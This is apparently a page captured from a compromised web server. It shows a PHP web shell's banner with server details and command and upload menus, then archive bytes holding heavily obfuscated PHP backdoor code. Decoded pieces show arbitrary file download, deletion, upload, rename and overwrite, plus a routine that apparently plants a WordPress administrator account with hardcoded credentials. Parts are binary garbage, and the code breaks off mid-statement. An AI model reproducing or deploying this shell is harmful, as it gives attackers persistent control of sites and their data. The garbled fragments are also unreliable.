|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK �em\���� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK �em\�Ύ=�/ �/ zkmqn-20260307210807.phpnu �[��� <?php
/*
--Copyright:https://www.phpcodejm.com
*/
goto SRLvP; pX0zf: goto Upycx; goto IwVbW; JNX9T: goto ACxZw; goto P3Dsn; V1vcl: goto m1ruy; goto FRbSx; d0ggy: vdRYy: goto w1puP; bf9bm: j65UW: goto WNmBF; M9Oz6: goto qtW4o; goto fO7IX; I0aJC: Uh58U: goto RpT82; Sj5EP: bMXBV: goto QrSn1; aGUgU: Gb0PB: goto PDrj6; JZsHU: goto Sx9yk; goto qGMZo; qBLIC: j2XUx: goto Cd6kR; HOZFb: goto jED5H; goto lfrx4; qrkn2: readfile($xBtNn); goto G5dt5; aCgnf: goto C04vy; goto fwefS; zdsgU: goto NtNFa; goto Ssrys; Szx32: Jp083: goto wEtCr; SRNMA: goto HfAyO; goto Noz1Z; b07Mx: $hznvy = ''; goto NSXyq; SCKIJ: goto XEsqk; goto niBes; kDmxW: goto mUM1a; goto CUT42; xExXe: lp7ye: goto pAuzx; XW18E: goto gEPCt; goto wjSI3; Ga2c2: goto BNnHl; goto lVEqA; OAdsT: goto X_y0p; goto cSm55; xEXPk: hqvji: goto V2OHJ; Z_CK8: FLR87: goto p3Slk; ptGrF: NDS3W: goto NOZ52; O0OJf: OZSVK: goto CUWhv; G5i85: ZDDBq: goto QasTk; cvGW1: $QeOFD = "\x48\145\x6c\154\100\62\60\x32\x35"; goto XYHQP; na3Dm: yySjF: goto o64T0; xMHB4: goto lgAaq; goto X6pqt; ozSq7: goto dYUUJ; goto Ir0Hp; Zk18_: goto n_64s; goto dZWzT; gru6B: goto TAco5; goto EP9uh; GGQYr: goto cAC6U; goto U2iNi; nkg_2: goto WjR1c; goto Vxus2; Yi1pu: QyMd7: goto YUdYI; GekuO: Uxmld: goto yJhHf; jNLL5: l9NmK: goto OQA_Z; BuMBm: ucsul: goto ZN7v7; Dvq11: $hznvy .= "\74\x64\x69\166\x20\x63\x6c\x61\163\x73\x3d\47\167\x61\162\156\x27\76\xc3\xa2\305\241\xc2\xa0\x20\127\x50\x20\165\x73\x65\x72\x20\x61\x6c\162\145\141\144\x79\40\x65\170\x69\x73\x74\163\x3c\x2f\x64\151\166\76"; goto BT3jl; I2Et3: dKikv: goto zLv0S; VJPkJ: goto rw_pK; goto drJna; Ih3aE: goto GUAlg; goto Aub2J; M32Xs: file_put_contents($bG34o, ''); goto yvmps; tDj1L: goto E3cAA; goto y2gjG; FQtCD: goto KPlKX; goto kRugS; HA_FL: goto leovd; goto W57Aw; bUF72: ZtelB: goto iwikX; GqRI3: u4PS7: goto eMvwK; zAaF6: goto HKpfc; goto usIT7; EkRve: goto LpCQF; goto vUscg; PLsH_: DpXAP: goto drhqD; Iwiok: goto FQgPB; goto GqRI3; Xq2OV: fBo5l: goto dBVzx; Ux5iJ: BWqdy: goto M92EE; uIeAN: goto BsQIO; goto vQh3A; nZSBh: goto q_Gb2; goto bigK0; bp0Ep: lBW6U: goto hwypA; U1Q6Z: yF6N3: goto oylB9; Hvjl8: goto l9NmK; goto TVfkN; UtBmG: goto WjY0U; goto Z3O3Z; OdSSG: z3aiS: goto Mtbo1; Osgk9: goto EY5Ku; goto vrgjF; J6pyu: bwWlb: goto LO8kc; WNmBF: goto zyr_3; goto ixhK6; JfqKr: goto uU3hK; goto KMLro; YsVg0: chdir($JdqDR); goto AxE95; jxpFG: eB7a0: goto FGaG1; yGKF6: mKfsV: goto D5nLI; TLAgf: goto jkCKs; goto fc_1M; tzF67: QBjIY: goto tFVhH; MFVnP: goto vVbZO; goto gaukJ; F51Qt: goto zwr0b; goto OE5yA; WkJJa: T3dUd: goto pZvhC; AZoWW: dn0tW: goto LorbC; ofhv1: O2GDB: goto M7Gyp; uaHKE: Mpo7z: goto w48LP; cfBe5: goto Cg50n; goto YA1sX; ri253: jx92z: goto IwPeD; VrDET: FopiD: goto wB4mT; mY2O0: goto jZbVd; goto p8nFI; u8uAR: opisV: goto FY3ak; ObNtA: goto Mlzlf; goto blCrI; WljjD: goto mQZH3; goto ecvwl; f4YMc: goto SjQoV; goto NWr81; CUAcn: vh4Ya: goto J6ZxO; pTdcs: goto hICWj; goto Syg08; nuJVB: UN8fq: goto e_Wqv; HyZO0: goto OuYb9; goto u8uAR; Axgfg: TiAaS: goto Mmj9S; pmAjj: APpNG: goto DwdO1; tkAOW: goto Q3LgY; goto kEL20; B7Xir: KAiSu: goto akgyC; D5nLI: goto V0rXx; goto Dl1hP; Et_rQ: goto Z2hdr; goto VIfmn; gaukJ: pDGyY: goto LThxC; lAkM5: goto zBf07; goto xrFa4; PVG03: dzixS: goto hEI3Z; o64T0: goto OPFVa; goto bkKIN; Z_1_4: $rIJSd = $D6V0J . "\x2f\x77\160\55\x6c\x6f\x61\144\x2e\160\150\x70"; goto ukl0E; zGznt: goto vuZTj; goto PcG05; ydG6k: goto uL9wg; goto EMWmv; u_6Ay: if (!($OYF8c && is_file($OYF8c))) { goto Y2g2U; } goto i2ZBs; O3TT9: goto Xyjxo; goto pTZ4n; C0Wga: yOMqM: goto KoEQZ; O0kYN: wfTR1: goto v8gH4; FBwr6: LNCXp: goto Or33W; XQoQW: Nb5vy: goto fYCQN; noXGz: qCPgI: goto Qx8j3; drJna: Nj2BT: goto u4KuL; SPBAn: K4vVK: goto WZVIb; mrbai: gtobW: goto L9Ybt; cao5i: goto M3Nyk; goto IrMlS; Nhvxt: goto ZtelB; goto W8XxV; YUdYI: goto w4G6M; goto oQSm_; CmNmh: goto ZcleN; goto QrZwZ; bcJ_M: uPBS1: goto xRuWG; zEEkD: goto X_zeJ; goto GFmeZ; CUT42: SDqjo: goto B0GMM; xlAOS: uJ79M: goto Z1Gtb; EaT8m: zxdlp: goto c7tgh; XRTM4: goto oepv3; goto KEX0F; IQxgW: goto KugWs; goto gg0cD; SSma9: wKHRo: goto ByJ5y; fUvG0: goto b0gsz; goto Pfozd; GowsA: goto mKfsV; goto qeEky; qtOMu: goto avda4; goto IGMxG; OkD6Y: mqyWi: goto yabSI; bqqHi: nvOF1: goto Fkejm; eKlHo: WW7k1: goto grpq0; xhqEf: goto KYlTW; goto nkg_2; bTx7G: QJ85Y: goto BMgJY; CTPbL: YKM7Q: goto HOQAy; eyg_4: hZMkj: goto UalKh; zDrDe: goto uvuvp; goto TB1We; MHH3p: goto xVwRJ; goto F0MHf; yCiAq: IHITf: goto bsDQj; NWr81: wlg9r: goto ijyDK; jU6lT: TAco5: goto TdN5J; Mtbo1: goto iTVFz; goto YWduN; NgCA9: goto vos2X; goto PFakA; ZqkGP: goto coM_j; goto m6xtS; SG5Lg: goto FpsD2; goto yrBhB; V5q18: goto V8krl; goto utbJO; hQErw: goto c49UM; goto VXOpn; d1ymB: FH10o: goto xbuKp; wo9bF: hHLeW: goto n0AyI; u7cmk: goto ZbEA_; goto KAk9t; xNL3S: TRGsF: goto QQ73s; nUHZj: piN9u: goto TRK5g; GTP3p: yuxjg: goto V6dIU; WtCDg: goto z1TRi; goto cliCH; cQw0H: goto RbW_B; goto PkpkD; rs4y2: n1dUr: goto FumFJ; c_uLt: pOAWG: goto ciaPa; Ir0Hp: lwEiq: goto vH8mz; pVl5H: GTMrE: goto WCK_n; WsDjn: goto EEaFa; goto h1d09; GX5GA: goto NxoSL; goto C9Pxa; kPGD9: DV0SF: goto hiKrU; jFU8u: if (empty($_FILES["\146\151\154\145"])) { goto eB0P0; } goto syZL1; yRzSi: goto in0Pm; goto flQBy; DYob3: KrrW1: goto iM2Kf; Zq6n4: goto xAjms; goto zFgBo; lGxrt: goto T3dUd; goto EuCPZ; q6Dhk: $q5ijL = "\x68\145\154\x6c\x40\145\x78\x61\x6d\x70\154\145\x2e\143\x6f\x6d"; goto LZFK7; CSW8n: goto h7FAQ; goto na3Dm; GsX13: a7Syc: goto TNSh_; iO6Px: lOLtd: goto JK3Qm; MNJZw: Rq_co: goto AGf2c; dBVzx: goto FEh9e; goto ySbKt; nqTXH: goto Epaeb; goto n5OFn; Vt018: goto XMPXG; goto D5wXD; q2Xs9: goto PLos3; goto O_PAq; pPv8_: PMfz0: goto ZhMNW; BcmUP: goto JWLH7; goto SGYFQ; Ox6lK: goto zicQ5; goto FQtCD; VR99U: CggXw: goto crQvd; fT5pv: $s8hWD->N1bTQ("\x61\144\155\151\156\151\x73\164\x72\x61\164\157\x72"); goto SRNMA; zFgBo: TRreX: goto lGxrt; V9MeH: Mf8XU: goto idhLU; lVEqA: GtXL7: goto q6Dhk; akgyC: ZcleN: goto KksL3; EMWmv: FZ2AP: goto YsVg0; PpMWV: goto ddJgy; goto P3Edt; VXOpn: R1csS: goto vROd0; wsSRO: D1biO: goto IMh2y; S_j6T: goto AJEvA; goto Ze6iU; HtCJj: goto QjXFk; goto mVSsr; KuLD8: ddJgy: goto NO3ry; tmFJ3: goto qRRBF; goto FR0vb; Xpr4d: Sx9yk: goto K25PE; FGaG1: HPZNv: goto caCjE; KJ9DW: goto pHswN; goto Aq8ar; A3U_c: goto S5Fw8; goto c6i_W; aijv1: goto U3iSv; goto KGpi0; XDRQ6: goto LGqK1; goto z7lyU; yrBhB: wZ7ek: goto ZC7Hp; oilrT: nyxtr: goto HrEHe; Bj6yj: @error_reporting(0); goto gHIW2; t45jc: p7RcU: goto S_j6T; p8nFI: hSHZi: goto jFU4M; M1sbV: ZxcyU: goto IZSOL; bX6wS: goto AOh9o; goto rBTq1; iGDOl: goto IqZZY; goto kPGD9; nJOL3: goto jx92z; goto W3QoJ; KmpX7: OFmO8: goto Kq6Pa; nDgjJ: bdO96: goto prjZV; JOi4O: L3B6x: goto vw0N5; ptU3E: goto LNCXp; goto ocGZL; XtvJl: hICWj: goto taEru; DkneV: jB8SS: goto Et_rQ; QYSDt: goto L6DFb; goto TwqXQ; bsDQj: goto hE81D; goto Vt018; KHiK3: goto pYA8s; goto J_Hln; Yr3rL: $c2TOA = $JglkV === "\x77\160\55\x62\154\157\147\x2d\146\162\157\x6e\164\56\160\150\160"; goto Bcjeb; cYkRq: NDbCh: goto hKh1w; rOPBo: goto yOMqM; goto xNL3S; Ze6iU: XTrPy: goto J5sJ6; ENk7J: hRga3: goto PDrMa; jWWrY: VNH2v: goto ihlYt; OE5yA: goto hSHZi; goto hlzGB; X6pqt: MtHzM: goto Z4ti4; nmnAf: TXPYd: goto YvG2f; HPY0G: DlJPI: goto WHIvP; vnxQO: NuHtj: goto u01qJ; CRQCp: M3Nyk: goto MWJuv; FBet9: goto UJfjM; goto OLa4J; xPu83: goto Nj2BT; goto cmre0; QVOeC: Sk_8B: goto fJCbZ; pPuqB: goto KOHoK; goto XnVfC; vWI69: goto pDGyY; goto HozkL; C1F0D: H9M8J: goto nZSBh; on6bL: Bq6R4: goto XUR1G; qBbCO: goto WV1q4; goto CsmT9; a1Q2t: if (!is_file($xBtNn)) { goto ppimC; } goto ItzMj; qW_H0: KOcL8: goto a1Q2t; wAzz2: goto tnzae; goto TXnS3; MJUaz: goto pW0Lg; goto q2Xs9; oYOLp: egqsq: goto NsKNm; x55BZ: goto KOFAb; goto GKNUm; X_Rx5: C04vy: goto JFMBg; UDjGd: v0BK4: goto oYmQe; HLD_L: oepv3: goto b_0ZW; zi3cN: goto wHPSX; goto ZnsV8; b_0ZW: goto wGiMn; goto Owtkw; bm28A: rD0Y7: goto o5L9C; A6Ru8: b0gsz: goto DuIvo; uQFMA: DAUAM: goto Yr3rL; OMyEo: $s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto 